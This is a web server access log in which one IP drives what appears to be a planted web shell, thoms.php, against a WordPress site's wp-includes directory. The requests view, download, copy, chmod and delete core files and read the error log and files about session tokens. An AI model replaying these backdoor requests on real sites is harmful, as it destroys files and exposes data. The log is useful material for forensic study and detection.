45.135.193.11 - - [11/Sep/2026:23:24:50 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-theme-json-resolver.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:50 -0400] "GET /thoms.php?dl=registration-functions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=registration-functions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11878 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffeed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffunctions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Ffunctions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=global-styles-and-settings.php HTTP/1.1" 200 18471 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=global-styles-and-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /big-wife.com.tw/wp-includes/vars.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /thoms.php?dl=class-wp-walker.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59385 "http://163.245.207.76:443/thoms.php?dl=class-wp-walker.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-files.php HTTP/1.1" 200 13211 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-files.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /big-wife.com.tw/wp-includes/cron.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /thoms.php?chmod=class-feed.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=class-feed.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /big-wife.com.tw/wp-includes/view-config.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /big-wife.com.tw/wp-includes/view-transitions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed-rss2.php HTTP/1.1" 200 13545 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=view-transitions.php HTTP/1.1" 200 12237 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=view-transitions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:51 -0400] "GET /thoms.php?del=class-wp-http.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59391 "http://163.245.207.76:443/thoms.php?del=class-wp-http.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:52 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-ajax-response.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:52 -0400] "GET /big-wife.com.tw/wp-includes/PHPMailer/ HTTP/1.1" 200 1379 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:52 -0400] "GET /thoms.php?chmod=atomlib.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=atomlib.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:52 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-dependencies.php HTTP/1.1" 200 17028 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:52 -0400] "GET /thoms.php?del=theme-previews.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=theme-previews.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:52 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:52 -0400] "GET /thoms.php?chmod=class-wp-http-proxy.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11540 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:52 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-connector-registry.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:53 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-metadata-lazyloader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:53 -0400] "GET /thoms.php?chmod=class-wp-list-util.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11536 "http://163.245.207.76:443/thoms.php?chmod=class-wp-list-util.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11883 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:53 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcategory-template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11892 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fcategory-template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:53 -0400] "GET /thoms.php?dl=date.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?dl=date.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:53 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php HTTP/1.1" 200 30350 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-customize-nav-menus.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:53 -0400] "GET /thoms.php?del=canonical.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=canonical.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11893 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-rewrite.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:54 -0400] "GET /big-wife.com.tw/wp-includes/https-migration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=connectors.php HTTP/1.1" 200 21419 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:53 -0400] "GET /thoms.php?dl=class-wp-recovery-mode.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:54 -0400] "GET /big-wife.com.tw/wp-includes/compat-utf8.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:54 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-session-tokens.php HTTP/1.1" 200 14126 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:54 -0400] "GET /thoms.php?dl=functions.wp-styles.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?dl=functions.wp-styles.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:54 -0400] "GET /thoms.php?chmod=meta.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=meta.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpost-formats.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fpost-formats.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:54 -0400] "GET /thoms.php?del=class-wp-customize-widgets.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59382 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-widgets.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:54 -0400] "GET /thoms.php?chmod=theme.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11524 "http://163.245.207.76:443/thoms.php?chmod=theme.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fuser.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11877 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fuser.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:54 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fphp-compat&p= HTTP/1.1" 200 12303 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fphp-compat&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:55 -0400] "GET /thoms.php?chmod=plugin.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11526 "http://163.245.207.76:443/thoms.php?chmod=plugin.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:55 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php HTTP/1.1" 200 12879 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-user-meta-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:55 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frss.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Frss.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:55 -0400] "GET /thoms.php?del=class-wp-block-parser-frame.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59370 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:55 -0400] "GET /thoms.php?chmod=template.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=template.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:55 -0400] "GET /thoms.php?chmod=view-config.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11530 "http://163.245.207.76:443/thoms.php?chmod=view-config.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:55 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-widget-factory.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:55 -0400] "GET /big-wife.com.tw/wp-includes/post-thumbnail-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:55 -0400] "GET /thoms.php?dl=view-transitions.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59386 "http://163.245.207.76:443/thoms.php?dl=view-transitions.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:56 -0400] "GET /thoms.php?chmod=assets&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=assets&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11887 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-image-editor.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:55 -0400] "GET /thoms.php?del=class-walker-comment.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59383 "http://163.245.207.76:443/thoms.php?del=class-walker-comment.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:56 -0400] "GET /big-wife.com.tw/wp-includes/canonical.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Flocale.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11884 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Flocale.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:56 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php HTTP/1.1" 200 14035 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-locale-switcher.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:56 -0400] "GET /thoms.php?dl=class-wp-user.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59426 "http://163.245.207.76:443/thoms.php?dl=class-wp-user.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:56 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11899 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-includes%2Fclass-wp-theme-json-resolver.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:56 -0400] "GET /thoms.php?chmod=default-filters.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 11533 "http://163.245.207.76:443/thoms.php?chmod=default-filters.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:57 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&upload= HTTP/1.1" 200 12188 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:56 -0400] "GET /thoms.php?del=rest-api.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59384 "http://163.245.207.76:443/thoms.php?del=rest-api.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:57 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-role.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:57 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-application-passwords.php HTTP/1.1" 200 15904 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=class-wp-application-passwords.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:57 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-walker.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:57 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=error_log HTTP/1.1" 200 77194 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:57 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-settings.php HTTP/1.1" 200 13648 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:57 -0400] "GET /thoms.php?dl=class-simplepie.php&p=big-wife.com.tw%2Fwp-includes HTTP/1.1" 200 59414 "http://163.245.207.76:443/thoms.php?dl=class-simplepie.php&p=big-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:57 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-comment-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:24:57 -0400] "GET /big-wife.com.tw/wp-includes/class-wp-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
